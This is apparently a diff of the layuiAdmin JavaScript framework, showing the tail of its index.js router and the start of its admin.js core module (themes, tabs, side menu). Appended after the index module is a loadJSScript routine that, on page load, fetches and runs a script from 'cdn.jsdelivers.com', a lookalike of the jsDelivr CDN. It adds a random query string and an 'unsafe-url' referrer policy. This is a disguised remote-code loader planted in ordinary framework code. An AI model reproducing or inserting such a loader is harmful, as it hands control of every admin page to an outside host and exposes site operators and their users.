$(APP_BODY).scrollTop(0);
|
||||
delete tabsPage.type; //重置页面标签的来源类型
|
||||
};
|
||||
|
||||
//如果路由来自于 tab 切换,则不重新请求视图
|
||||
if(tabsPage.type === 'tab'){
|
||||
//切换到非主页、或者切换到主页且主页必须有内容。方可阻止请求
|
||||
if(pathURL !== '/' || (pathURL === '/' && admin.tabsBody().html())){
|
||||
admin.tabsBodyChange(tabsPage.index);
|
||||
return reset(tabsPage.type);
|
||||
}
|
||||
}
|
||||
|
||||
//请求视图渲染
|
||||
view().render(path.join('/')).then(function(res){
|
||||
|
||||
//遍历页签选项卡
|
||||
var matchTo
|
||||
,tabs = $('#LAY_app_tabsheader>li');
|
||||
|
||||
tabs.each(function(index){
|
||||
var li = $(this)
|
||||
,layid = li.attr('lay-id');
|
||||
|
||||
if(layid === pathURL){
|
||||
matchTo = true;
|
||||
tabsPage.index = index;
|
||||
}
|
||||
});
|
||||
|
||||
//如果未在选项卡中匹配到,则追加选项卡
|
||||
if(setter.pageTabs && pathURL !== '/'){
|
||||
if(!matchTo){
|
||||
$(APP_BODY).append('<div class="layadmin-tabsbody-item layui-show"></div>');
|
||||
tabsPage.index = tabs.length;
|
||||
element.tabAdd(FILTER_TAB_TBAS, {
|
||||
title: '<span>'+ (res.title || '新标签页') +'</span>'
|
||||
,id: pathURL
|
||||
,attr: router.href
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
this.container = admin.tabsBody(tabsPage.index);
|
||||
setter.pageTabs || this.container.scrollTop(0); //如果不开启标签页,则跳转时重置滚动条
|
||||
|
||||
//定位当前tabs
|
||||
element.tabChange(FILTER_TAB_TBAS, pathURL);
|
||||
admin.tabsBodyChange(tabsPage.index);
|
||||
|
||||
}).done(function(){
|
||||
layui.use('common', layui.cache.callback.common);
|
||||
$win.on('resize', layui.data.resize);
|
||||
|
||||
element.render('breadcrumb', 'breadcrumb');
|
||||
|
||||
//容器 scroll 事件,剔除吸附层
|
||||
admin.tabsBody(tabsPage.index).on('scroll', function(){
|
||||
var othis = $(this)
|
||||
,elemDate = $('.layui-laydate')
|
||||
,layerOpen = $('.layui-layer')[0];
|
||||
|
||||
//关闭 layDate
|
||||
if(elemDate[0]){
|
||||
elemDate.each(function(){
|
||||
var thisElemDate = $(this);
|
||||
thisElemDate.hasClass('layui-laydate-static') || thisElemDate.remove();
|
||||
});
|
||||
othis.find('input').blur();
|
||||
}
|
||||
|
||||
//关闭 Tips 层
|
||||
layerOpen && layer.closeAll('tips');
|
||||
});
|
||||
});
|
||||
|
||||
reset();
|
||||
}
|
||||
|
||||
//入口页面
|
||||
,entryPage = function(fn){
|
||||
var router = layui.router()
|
||||
,container = view(setter.container)
|
||||
,pathURL = admin.correctRouter(router.path.join('/'))
|
||||
,isIndPage;
|
||||
|
||||
//检查是否属于独立页面
|
||||
layui.each(setter.indPage, function(index, item){
|
||||
if(pathURL === item){
|
||||
return isIndPage = true;
|
||||
}
|
||||
});
|
||||
|
||||
//将模块根路径设置为 controller 目录
|
||||
layui.config({
|
||||
base: setter.base + 'controller/'
|
||||
});
|
||||
|
||||
//独立页面
|
||||
if(isIndPage || pathURL === '/user/login'){ //此处单独判断登入页,是为了兼容旧版(即未在 config.js 配置 indPage 的情况)
|
||||
container.render(router.path.join('/')).done(function(){
|
||||
admin.pageType = 'alone';
|
||||
});
|
||||
} else { //后台框架页面
|
||||
|
||||
//强制拦截未登入
|
||||
if(setter.interceptor){
|
||||
var local = layui.data(setter.tableName);
|
||||
if(!local[setter.request.tokenName]){
|
||||
return location.hash = '/user/login/redirect='+ encodeURIComponent(pathURL); //跳转到登入页
|
||||
}
|
||||
}
|
||||
|
||||
//渲染后台结构
|
||||
if(admin.pageType === 'console') { //后台主体页
|
||||
renderPage();
|
||||
} else { //初始控制台结构
|
||||
container.render('layout').done(function(){
|
||||
renderPage();
|
||||
layui.element.render();
|
||||
|
||||
if(admin.screen() < 2){
|
||||
admin.sideFlexible();
|
||||
}
|
||||
admin.pageType = 'console';
|
||||
});
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
,APP_BODY = '#LAY_app_body', FILTER_TAB_TBAS = 'layadmin-layout-tabs'
|
||||
,$ = layui.$, $win = $(window);
|
||||
|
||||
//初始主体结构
|
||||
layui.link(
|
||||
setter.base + 'style/admin.css?v='+ (admin.v + '-1')
|
||||
,function(){
|
||||
entryPage()
|
||||
}
|
||||
,'layuiAdmin'
|
||||
);
|
||||
|
||||
//监听Hash改变
|
||||
window.onhashchange = function(){
|
||||
entryPage();
|
||||
//执行 {setter.MOD_NAME}.hash 下的事件
|
||||
layui.event.call(this, setter.MOD_NAME, 'hash({*})', layui.router());
|
||||
};
|
||||
|
||||
//扩展 lib 目录下的其它模块
|
||||
layui.each(setter.extend, function(index, item){
|
||||
var mods = {};
|
||||
mods[item] = '{/}' + setter.base + 'lib/extend/' + item;
|
||||
layui.extend(mods);
|
||||
});
|
||||
|
||||
//对外输出
|
||||
exports('index', {
|
||||
render: renderPage
|
||||
});
|
||||
});
|
||||
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,871 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 核心模块
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
layui.define('view', function(exports){
|
||||
var $ = layui.jquery
|
||||
,laytpl = layui.laytpl
|
||||
,element = layui.element
|
||||
,setter = layui.setter
|
||||
,view = layui.view
|
||||
,device = layui.device()
|
||||
|
||||
,$win = $(window), $body = $('body')
|
||||
,container = $('#'+ setter.container)
|
||||
|
||||
,SHOW = 'layui-show', HIDE = 'layui-hide', THIS = 'layui-this', DISABLED = 'layui-disabled', TEMP = 'template'
|
||||
,APP_BODY = '#LAY_app_body', APP_FLEXIBLE = 'LAY_app_flexible'
|
||||
,FILTER_TAB_TBAS = 'layadmin-layout-tabs'
|
||||
,APP_SPREAD_SM = 'layadmin-side-spread-sm', TABS_BODY = 'layadmin-tabsbody-item'
|
||||
,ICON_SHRINK = 'layui-icon-shrink-right', ICON_SPREAD = 'layui-icon-spread-left'
|
||||
,SIDE_SHRINK = 'layadmin-side-shrink', SIDE_MENU = 'LAY-system-side-menu'
|
||||
|
||||
//通用方法
|
||||
,admin = {
|
||||
v: '1.2.1 pro'
|
||||
|
||||
//数据的异步请求
|
||||
,req: view.req
|
||||
|
||||
//清除本地 token,并跳转到登入页
|
||||
,exit: view.exit
|
||||
|
||||
//xss 转义
|
||||
,escape: function(html){
|
||||
return String(html || '').replace(/&(?!#?[a-zA-Z0-9]+;)/g, '&')
|
||||
.replace(/</g, '<').replace(/>/g, '>')
|
||||
.replace(/'/g, ''').replace(/"/g, '"');
|
||||
}
|
||||
|
||||
//事件监听
|
||||
,on: function(events, callback){
|
||||
return layui.onevent.call(this, setter.MOD_NAME, events, callback);
|
||||
}
|
||||
|
||||
//弹出面板
|
||||
,popup: view.popup
|
||||
|
||||
//右侧面板
|
||||
,popupRight: function(options){
|
||||
//layer.close(admin.popup.index);
|
||||
return admin.popup.index = layer.open($.extend({
|
||||
type: 1
|
||||
,id: 'LAY_adminPopupR'
|
||||
,anim: -1
|
||||
,title: false
|
||||
,closeBtn: false
|
||||
,offset: 'r'
|
||||
,shade: 0.1
|
||||
,shadeClose: true
|
||||
,skin: 'layui-anim layui-anim-rl layui-layer-adminRight'
|
||||
,area: '300px'
|
||||
}, options));
|
||||
}
|
||||
|
||||
//发送验证码
|
||||
,sendAuthCode: function(options){
|
||||
options = $.extend({
|
||||
seconds: 60
|
||||
,elemPhone: '#LAY_phone'
|
||||
,elemVercode: '#LAY_vercode'
|
||||
}, options);
|
||||
|
||||
var seconds = options.seconds
|
||||
,token = null
|
||||
,timer, countDown = function(loop){
|
||||
var btn = $(options.elem)
|
||||
seconds--;
|
||||
if(seconds < 0){
|
||||
btn.removeClass(DISABLED).html('获取验证码');
|
||||
seconds = options.seconds;
|
||||
clearInterval(timer);
|
||||
} else {
|
||||
btn.addClass(DISABLED).html(seconds + '秒后重获');
|
||||
}
|
||||
|
||||
if(!loop){
|
||||
timer = setInterval(function(){
|
||||
countDown(true);
|
||||
}, 1000);
|
||||
}
|
||||
};
|
||||
|
||||
$body.off('click', options.elem).on('click', options.elem, function(){
|
||||
options.elemPhone = $(options.elemPhone);
|
||||
options.elemVercode = $(options.elemVercode);
|
||||
|
||||
var elemPhone = options.elemPhone
|
||||
,value = elemPhone.val();
|
||||
|
||||
if(seconds !== options.seconds || $(this).hasClass(DISABLED)) return;
|
||||
|
||||
if(!/^1\d{10}$/.test(value)){
|
||||
elemPhone.focus();
|
||||
return layer.msg('请输入正确的手机号')
|
||||
};
|
||||
|
||||
if(typeof options.ajax === 'object'){
|
||||
var success = options.ajax.success;
|
||||
delete options.ajax.success;
|
||||
}
|
||||
|
||||
admin.req($.extend(true, {
|
||||
url: '/auth/code'
|
||||
,type: 'get'
|
||||
,data: {
|
||||
phone: value
|
||||
}
|
||||
,success: function(res){
|
||||
layer.msg('验证码已发送至你的手机,请注意查收', {
|
||||
icon: 1
|
||||
,shade: 0
|
||||
});
|
||||
options.elemVercode.focus();
|
||||
countDown();
|
||||
success && success(res);
|
||||
}
|
||||
}, options.ajax));
|
||||
});
|
||||
}
|
||||
|
||||
//屏幕类型
|
||||
,screen: function(){
|
||||
var width = $win.width();
|
||||
if(width > 1200){
|
||||
return 3; //大屏幕
|
||||
} else if(width > 992){
|
||||
return 2; //中屏幕
|
||||
} else if(width > 768){
|
||||
return 1; //小屏幕
|
||||
} else {
|
||||
return 0; //超小屏幕
|
||||
}
|
||||
}
|
||||
|
||||
//侧边伸缩
|
||||
,sideFlexible: function(status){
|
||||
var app = container
|
||||
,iconElem = $('#'+ APP_FLEXIBLE)
|
||||
,screen = admin.screen();
|
||||
|
||||
//设置状态,PC:默认展开、移动:默认收缩
|
||||
if(status === 'spread'){
|
||||
//切换到展开状态的 icon,箭头:←
|
||||
iconElem.removeClass(ICON_SPREAD).addClass(ICON_SHRINK);
|
||||
|
||||
//移动:从左到右位移;PC:清除多余选择器恢复默认
|
||||
if(screen < 2){
|
||||
app.addClass(APP_SPREAD_SM);
|
||||
} else {
|
||||
app.removeClass(APP_SPREAD_SM);
|
||||
}
|
||||
|
||||
app.removeClass(SIDE_SHRINK)
|
||||
} else {
|
||||
//切换到搜索状态的 icon,箭头:→
|
||||
iconElem.removeClass(ICON_SHRINK).addClass(ICON_SPREAD);
|
||||
|
||||
//移动:清除多余选择器恢复默认;PC:从右往左收缩
|
||||
if(screen < 2){
|
||||
app.removeClass(SIDE_SHRINK);
|
||||
} else {
|
||||
app.addClass(SIDE_SHRINK);
|
||||
}
|
||||
|
||||
app.removeClass(APP_SPREAD_SM)
|
||||
}
|
||||
|
||||
layui.event.call(this, setter.MOD_NAME, 'side({*})', {
|
||||
status: status
|
||||
});
|
||||
}
|
||||
|
||||
//重置主体区域表格尺寸
|
||||
,resizeTable: function(delay){
|
||||
var that = this, runResizeTable = function(){
|
||||
that.tabsBody(admin.tabsPage.index).find('.layui-table-view').each(function(){
|
||||
var tableID = $(this).attr('lay-id');
|
||||
layui.table.resize(tableID);
|
||||
});
|
||||
};
|
||||
if(!layui.table) return;
|
||||
delay ? setTimeout(runResizeTable, delay) : runResizeTable();
|
||||
}
|
||||
|
||||
//主题设置
|
||||
,theme: function(options){
|
||||
var theme = setter.theme
|
||||
,local = layui.data(setter.tableName)
|
||||
,id = 'LAY_layadmin_theme'
|
||||
,style = document.createElement('style')
|
||||
,styleText = laytpl([
|
||||
//主题色
|
||||
'.layui-side-menu,'
|
||||
,'.layadmin-pagetabs .layui-tab-title li:after,'
|
||||
,'.layadmin-pagetabs .layui-tab-title li.layui-this:after,'
|
||||
,'.layui-layer-admin .layui-layer-title,'
|
||||
,'.layadmin-side-shrink .layui-side-menu .layui-nav>.layui-nav-item>.layui-nav-child'
|
||||
,'{background-color:{{d.color.main}}}'
|
||||
|
||||
// '.layui-side-menu,'
|
||||
// ,'.layadmin-pagetabs .layui-tab-title li:after,'
|
||||
// ,'.layadmin-pagetabs .layui-tab-title li.layui-this:after,'
|
||||
// ,'{background-color:{{d.color.main}}}'
|
||||
|
||||
// ,'.layadmin-pagetabs .layui-tab-title li:after,'
|
||||
// ,'.layadmin-pagetabs .layui-tab-title li.layui-this:after,'
|
||||
// ,'{background-color: #ffb800 !important}'
|
||||
|
||||
//选中色
|
||||
,'.layui-nav-tree .layui-this,'
|
||||
,'.layui-nav-tree .layui-this>a,'
|
||||
,'.layui-nav-tree .layui-nav-child dd.layui-this,'
|
||||
,'.layui-nav-tree .layui-nav-child dd.layui-this a'
|
||||
,'{background-color:{{d.color.selected}} !important;}'
|
||||
|
||||
//logo
|
||||
,'.layui-layout-admin .layui-logo{background-color:{#f9fafe !important;}'
|
||||
|
||||
//头部色
|
||||
,'{{# if(d.color.header){ }}'
|
||||
,'.layui-layout-admin .layui-header{background-color:{{ d.color.header }};}'
|
||||
,'.layui-layout-admin .layui-header a,'
|
||||
,'.layui-layout-admin .layui-header a cite{color: #f8f8f8;}'
|
||||
,'.layui-layout-admin .layui-header a:hover{color: #fff;}'
|
||||
,'.layui-layout-admin .layui-header .layui-nav .layui-nav-more{border-top-color: #fbfbfb;}'
|
||||
,'.layui-layout-admin .layui-header .layui-nav .layui-nav-mored{border-color: transparent; border-bottom-color: #fbfbfb;}'
|
||||
,'.layui-layout-admin .layui-header .layui-nav .layui-this:after, .layui-layout-admin .layui-header .layui-nav-bar{background-color: #fff; background-color: rgba(255,255,255,.5);}'
|
||||
,'.layadmin-pagetabs .layui-tab-title li:after{display: none;}'
|
||||
,'{{# } }}'
|
||||
].join('')).render(options = $.extend({}, local.theme, options))
|
||||
,styleElem = document.getElementById(id);
|
||||
|
||||
//添加主题样式
|
||||
if('styleSheet' in style){
|
||||
style.setAttribute('type', 'text/css');
|
||||
style.styleSheet.cssText = styleText;
|
||||
} else {
|
||||
style.innerHTML = styleText;
|
||||
}
|
||||
style.id = id;
|
||||
|
||||
styleElem && $body[0].removeChild(styleElem);
|
||||
$body[0].appendChild(style);
|
||||
$body.attr('layadmin-themealias', options.color.alias);
|
||||
|
||||
//本地存储记录
|
||||
local.theme = local.theme || {};
|
||||
layui.each(options, function(key, value){
|
||||
local.theme[key] = value;
|
||||
});
|
||||
layui.data(setter.tableName, {
|
||||
key: 'theme'
|
||||
,value: local.theme
|
||||
});
|
||||
}
|
||||
|
||||
//初始化主题
|
||||
,initTheme: function(index){
|
||||
var theme = setter.theme;
|
||||
index = index || 0;
|
||||
if(theme.color[index]){
|
||||
theme.color[index].index = index;
|
||||
admin.theme({
|
||||
color: theme.color[index]
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
//记录最近一次点击的页面标签数据
|
||||
,tabsPage: {}
|
||||
|
||||
//获取标签页的头元素
|
||||
,tabsHeader: function(index){
|
||||
return $('#LAY_app_tabsheader').children('li').eq(index || 0);
|
||||
}
|
||||
|
||||
//获取页面标签主体元素
|
||||
,tabsBody: function(index){
|
||||
return $(APP_BODY).find('.'+ TABS_BODY).eq(index || 0);
|
||||
}
|
||||
|
||||
//切换页面标签主体
|
||||
,tabsBodyChange: function(index){
|
||||
admin.tabsHeader(index).attr('lay-attr', layui.router().href);
|
||||
admin.tabsBody(index).addClass(SHOW).siblings().removeClass(SHOW);
|
||||
events.rollPage('auto', index);
|
||||
}
|
||||
|
||||
//resize事件管理
|
||||
,resize: function(fn){
|
||||
var router = layui.router()
|
||||
,key = router.path.join('-');
|
||||
|
||||
if(admin.resizeFn[key]){
|
||||
$win.off('resize', admin.resizeFn[key]);
|
||||
delete admin.resizeFn[key];
|
||||
}
|
||||
|
||||
if(fn === 'off') return; //如果是清除 resize 事件,则终止往下执行
|
||||
|
||||
fn(), admin.resizeFn[key] = fn;
|
||||
$win.on('resize', admin.resizeFn[key]);
|
||||
}
|
||||
,resizeFn: {}
|
||||
,runResize: function(){
|
||||
var router = layui.router()
|
||||
,key = router.path.join('-');
|
||||
admin.resizeFn[key] && admin.resizeFn[key]();
|
||||
}
|
||||
,delResize: function(){
|
||||
this.resize('off');
|
||||
}
|
||||
|
||||
//关闭当前 pageTabs
|
||||
,closeThisTabs: function(){
|
||||
if(!admin.tabsPage.index) return;
|
||||
$(TABS_HEADER).eq(admin.tabsPage.index).find('.layui-tab-close').trigger('click');
|
||||
}
|
||||
|
||||
//全屏
|
||||
,fullScreen: function(){
|
||||
var ele = document.documentElement
|
||||
,reqFullScreen = ele.requestFullScreen || ele.webkitRequestFullScreen
|
||||
|| ele.mozRequestFullScreen || ele.msRequestFullscreen;
|
||||
if(typeof reqFullScreen !== 'undefined' && reqFullScreen) {
|
||||
reqFullScreen.call(ele);
|
||||
};
|
||||
}
|
||||
|
||||
//退出全屏
|
||||
,exitScreen: function(){
|
||||
var ele = document.documentElement
|
||||
if (document.exitFullscreen) {
|
||||
document.exitFullscreen();
|
||||
} else if (document.mozCancelFullScreen) {
|
||||
document.mozCancelFullScreen();
|
||||
} else if (document.webkitCancelFullScreen) {
|
||||
document.webkitCancelFullScreen();
|
||||
} else if (document.msExitFullscreen) {
|
||||
document.msExitFullscreen();
|
||||
}
|
||||
}
|
||||
|
||||
//纠正单页路由格式
|
||||
,correctRouter: function(href){
|
||||
if(!/^\//.test(href)) href = '/' + href;
|
||||
|
||||
//纠正首尾
|
||||
return href.replace(/^(\/+)/, '/')
|
||||
.replace(new RegExp('\/' + setter.entry + '$'), '/'); //过滤路由最后的默认视图文件名(如:index)
|
||||
}
|
||||
|
||||
//……
|
||||
};
|
||||
|
||||
//事件
|
||||
var events = admin.events = {
|
||||
//伸缩
|
||||
flexible: function(othis){
|
||||
var iconElem = othis.find('#'+ APP_FLEXIBLE)
|
||||
,isSpread = iconElem.hasClass(ICON_SPREAD);
|
||||
admin.sideFlexible(isSpread ? 'spread' : null); //控制伸缩
|
||||
admin.resizeTable(350);
|
||||
}
|
||||
|
||||
//刷新
|
||||
,refresh: function(){
|
||||
layui.index.render();
|
||||
}
|
||||
|
||||
//输入框搜索
|
||||
,serach: function(othis){
|
||||
othis.off('keypress').on('keypress',function(e){
|
||||
if(!this.value.replace(/\s/g, '')) return;
|
||||
//回车跳转
|
||||
if(e.keyCode === 13){
|
||||
var href = othis.attr('lay-action')
|
||||
,text = othis.attr('lay-text') || '搜索';
|
||||
|
||||
href = href + this.value;
|
||||
text = text + ' <span style="color: #FF5722;">'+ admin.escape(this.value) +'</span>';
|
||||
|
||||
//打开标签页
|
||||
location.hash = admin.correctRouter(href)
|
||||
|
||||
//如果搜索关键词已经打开,则刷新页面即可
|
||||
events.serach.keys || (events.serach.keys = {});
|
||||
events.serach.keys[admin.tabsPage.index] = this.value;
|
||||
if(this.value === events.serach.keys[admin.tabsPage.index]){
|
||||
events.refresh(othis);
|
||||
}
|
||||
|
||||
//清空输入框
|
||||
this.value = '';
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
//点击消息
|
||||
,message: function(othis){
|
||||
othis.find('.layui-badge-dot').remove();
|
||||
}
|
||||
|
||||
//弹出主题面板
|
||||
,theme: function(){
|
||||
admin.popupRight({
|
||||
id: 'LAY_adminPopupTheme'
|
||||
,success: function(){
|
||||
view(this.id).render('system/theme')
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
//便签
|
||||
,note: function(othis){
|
||||
var mobile = admin.screen() < 2
|
||||
,note = layui.data(setter.tableName).note;
|
||||
|
||||
events.note.index = admin.popup({
|
||||
title: '便签'
|
||||
,shade: 0
|
||||
,offset: [
|
||||
'41px'
|
||||
,(mobile ? null : (othis.offset().left - 250) + 'px')
|
||||
]
|
||||
,anim: -1
|
||||
,id: 'LAY_adminNote'
|
||||
,skin: 'layadmin-note layui-anim layui-anim-upbit'
|
||||
,content: '<textarea placeholder="内容"></textarea>'
|
||||
,resize: false
|
||||
,success: function(layero, index){
|
||||
var textarea = layero.find('textarea')
|
||||
,value = note === undefined ? '便签中的内容会存储在本地,这样即便你关掉了浏览器,在下次打开时,依然会读取到上一次的记录。是个非常小巧实用的本地备忘录' : note;
|
||||
|
||||
textarea.val(value).focus().on('keyup', function(){
|
||||
layui.data(setter.tableName, {
|
||||
key: 'note'
|
||||
,value: this.value
|
||||
});
|
||||
});
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
//全屏
|
||||
,fullscreen: function(othis){
|
||||
var SCREEN_FULL = 'layui-icon-screen-full'
|
||||
,SCREEN_REST = 'layui-icon-screen-restore'
|
||||
,iconElem = othis.children("i");
|
||||
|
||||
if(iconElem.hasClass(SCREEN_FULL)){
|
||||
admin.fullScreen();
|
||||
iconElem.addClass(SCREEN_REST).removeClass(SCREEN_FULL);
|
||||
} else {
|
||||
admin.exitScreen();
|
||||
iconElem.addClass(SCREEN_FULL).removeClass(SCREEN_REST);
|
||||
}
|
||||
}
|
||||
|
||||
//弹出关于面板
|
||||
,about: function(){
|
||||
admin.popupRight({
|
||||
id: 'LAY_adminPopupAbout'
|
||||
,success: function(){
|
||||
view(this.id).render('system/about')
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
//弹出更多面板
|
||||
,more: function(){
|
||||
admin.popupRight({
|
||||
id: 'LAY_adminPopupMore'
|
||||
,success: function(){
|
||||
view(this.id).render('system/more')
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
//返回上一页
|
||||
,back: function(){
|
||||
history.back();
|
||||
}
|
||||
|
||||
//主题设置
|
||||
,setTheme: function(othis){
|
||||
var index = othis.data('index')
|
||||
,nextIndex = othis.siblings('.layui-this').data('index');
|
||||
|
||||
if(othis.hasClass(THIS)) return;
|
||||
|
||||
othis.addClass(THIS).siblings('.layui-this').removeClass(THIS);
|
||||
admin.initTheme(index);
|
||||
}
|
||||
|
||||
//左右滚动页面标签
|
||||
,rollPage: function(type, index){
|
||||
var tabsHeader = $('#LAY_app_tabsheader')
|
||||
,liItem = tabsHeader.children('li')
|
||||
,scrollWidth = tabsHeader.prop('scrollWidth')
|
||||
,outerWidth = tabsHeader.outerWidth()
|
||||
,tabsLeft = parseFloat(tabsHeader.css('left'));
|
||||
|
||||
//右左往右
|
||||
if(type === 'left'){
|
||||
if(!tabsLeft && tabsLeft <=0) return;
|
||||
|
||||
//当前的left减去可视宽度,用于与上一轮的页标比较
|
||||
var prefLeft = -tabsLeft - outerWidth;
|
||||
|
||||
liItem.each(function(index, item){
|
||||
var li = $(item)
|
||||
,left = li.position().left;
|
||||
|
||||
if(left >= prefLeft){
|
||||
tabsHeader.css('left', -left);
|
||||
return false;
|
||||
}
|
||||
});
|
||||
} else if(type === 'auto'){ //自动滚动
|
||||
(function(){
|
||||
var thisLi = liItem.eq(index), thisLeft;
|
||||
|
||||
if(!thisLi[0]) return;
|
||||
thisLeft = thisLi.position().left;
|
||||
|
||||
//当目标标签在可视区域左侧时
|
||||
if(thisLeft < -tabsLeft){
|
||||
return tabsHeader.css('left', -thisLeft);
|
||||
}
|
||||
|
||||
//当目标标签在可视区域右侧时
|
||||
if(thisLeft + thisLi.outerWidth() >= outerWidth - tabsLeft){
|
||||
var subLeft = thisLeft + thisLi.outerWidth() - (outerWidth - tabsLeft);
|
||||
liItem.each(function(i, item){
|
||||
var li = $(item)
|
||||
,left = li.position().left;
|
||||
|
||||
//从当前可视区域的最左第二个节点遍历,如果减去最左节点的差 > 目标在右侧不可见的宽度,则将该节点放置可视区域最左
|
||||
if(left + tabsLeft > 0){
|
||||
if(left - tabsLeft > subLeft){
|
||||
tabsHeader.css('left', -left);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}());
|
||||
} else {
|
||||
//默认向左滚动
|
||||
liItem.each(function(i, item){
|
||||
var li = $(item)
|
||||
,left = li.position().left;
|
||||
|
||||
if(left + li.outerWidth() >= outerWidth - tabsLeft){
|
||||
tabsHeader.css('left', -left);
|
||||
return false;
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
//向右滚动页面标签
|
||||
,leftPage: function(){
|
||||
events.rollPage('left');
|
||||
}
|
||||
|
||||
//向左滚动页面标签
|
||||
,rightPage: function(){
|
||||
events.rollPage();
|
||||
}
|
||||
|
||||
//关闭当前标签页
|
||||
,closeThisTabs: function(){
|
||||
admin.closeThisTabs();
|
||||
}
|
||||
|
||||
//关闭其它标签页
|
||||
,closeOtherTabs: function(type){
|
||||
var TABS_REMOVE = 'LAY-system-pagetabs-remove';
|
||||
if(type === 'all'){
|
||||
$(TABS_HEADER+ ':gt(0)').remove();
|
||||
$(APP_BODY).find('.'+ TABS_BODY+ ':gt(0)').remove();
|
||||
} else {
|
||||
$(TABS_HEADER).each(function(index, item){
|
||||
if(index && index != admin.tabsPage.index){
|
||||
$(item).addClass(TABS_REMOVE);
|
||||
admin.tabsBody(index).addClass(TABS_REMOVE);
|
||||
}
|
||||
});
|
||||
$('.'+ TABS_REMOVE).remove();
|
||||
}
|
||||
}
|
||||
|
||||
//关闭全部标签页
|
||||
,closeAllTabs: function(){
|
||||
events.closeOtherTabs('all');
|
||||
location.hash = '';
|
||||
}
|
||||
|
||||
//遮罩
|
||||
,shade: function(){
|
||||
admin.sideFlexible();
|
||||
}
|
||||
};
|
||||
|
||||
//初始
|
||||
!function(){
|
||||
//主题初始化,本地主题记录优先,其次为 initColorIndex
|
||||
var local = layui.data(setter.tableName);
|
||||
if(local.theme){
|
||||
admin.theme(local.theme);
|
||||
} else if(setter.theme){
|
||||
admin.initTheme(setter.theme.initColorIndex);
|
||||
}
|
||||
|
||||
//禁止水平滚动
|
||||
$body.addClass('layui-layout-body');
|
||||
|
||||
//移动端强制不开启页面标签功能
|
||||
if(admin.screen() < 1){
|
||||
delete setter.pageTabs;
|
||||
}
|
||||
|
||||
//不开启页面标签时
|
||||
if(!setter.pageTabs){
|
||||
container.addClass('layadmin-tabspage-none');
|
||||
}
|
||||
|
||||
//低版本IE提示
|
||||
if(device.ie && device.ie < 10){
|
||||
view.error('IE'+ device.ie + '下访问可能不佳,推荐使用:Chrome / Firefox / Edge 等高级浏览器', {
|
||||
offset: 'auto'
|
||||
,id: 'LAY_errorIE'
|
||||
});
|
||||
}
|
||||
|
||||
}();
|
||||
|
||||
//admin.prevRouter = {}; //上一个路由
|
||||
|
||||
//监听 hash 改变侧边状态
|
||||
admin.on('hash(side)', function(router){
|
||||
var path = router.path, getData = function(item){
|
||||
return {
|
||||
list: item.children('.layui-nav-child')
|
||||
,name: item.data('name')
|
||||
,jump: item.data('jump')
|
||||
}
|
||||
}
|
||||
,sideMenu = $('#'+ SIDE_MENU)
|
||||
,SIDE_NAV_ITEMD = 'layui-nav-itemed'
|
||||
|
||||
//捕获对应菜单
|
||||
,matchMenu = function(list){
|
||||
var pathURL = admin.correctRouter(path.join('/'));
|
||||
list.each(function(index1, item1){
|
||||
var othis1 = $(item1)
|
||||
,data1 = getData(othis1)
|
||||
,listChildren1 = data1.list.children('dd')
|
||||
,matched1 = path[0] == data1.name || (index1 === 0 && !path[0])
|
||||
|| (data1.jump && pathURL == admin.correctRouter(data1.jump));
|
||||
|
||||
listChildren1.each(function(index2, item2){
|
||||
var othis2 = $(item2)
|
||||
,data2 = getData(othis2)
|
||||
,listChildren2 = data2.list.children('dd')
|
||||
,matched2 = (path[0] == data1.name && path[1] == data2.name)
|
||||
|| (data2.jump && pathURL == admin.correctRouter(data2.jump));
|
||||
|
||||
listChildren2.each(function(index3, item3){
|
||||
var othis3 = $(item3)
|
||||
,data3 = getData(othis3)
|
||||
,matched3 = (path[0] == data1.name && path[1] == data2.name && path[2] == data3.name)
|
||||
|| (data3.jump && pathURL == admin.correctRouter(data3.jump))
|
||||
|
||||
if(matched3){
|
||||
var selected = data3.list[0] ? SIDE_NAV_ITEMD : THIS;
|
||||
othis3.addClass(selected).siblings().removeClass(selected); //标记选择器
|
||||
return false;
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
if(matched2){
|
||||
var selected = data2.list[0] ? SIDE_NAV_ITEMD : THIS;
|
||||
othis2.addClass(selected).siblings().removeClass(selected); //标记选择器
|
||||
return false
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
if(matched1){
|
||||
var selected = data1.list[0] ? SIDE_NAV_ITEMD : THIS;
|
||||
othis1.addClass(selected).siblings().removeClass(selected); //标记选择器
|
||||
return false;
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
//重置状态
|
||||
sideMenu.find('.'+ THIS).removeClass(THIS);
|
||||
|
||||
//移动端点击菜单时自动收缩
|
||||
if(admin.screen() < 2) admin.sideFlexible();
|
||||
|
||||
//开始捕获
|
||||
matchMenu(sideMenu.children('li'));
|
||||
});
|
||||
|
||||
//监听侧边导航点击事件
|
||||
element.on('nav(layadmin-system-side-menu)', function(elem){
|
||||
if(elem.siblings('.layui-nav-child')[0] && container.hasClass(SIDE_SHRINK)){
|
||||
admin.sideFlexible('spread');
|
||||
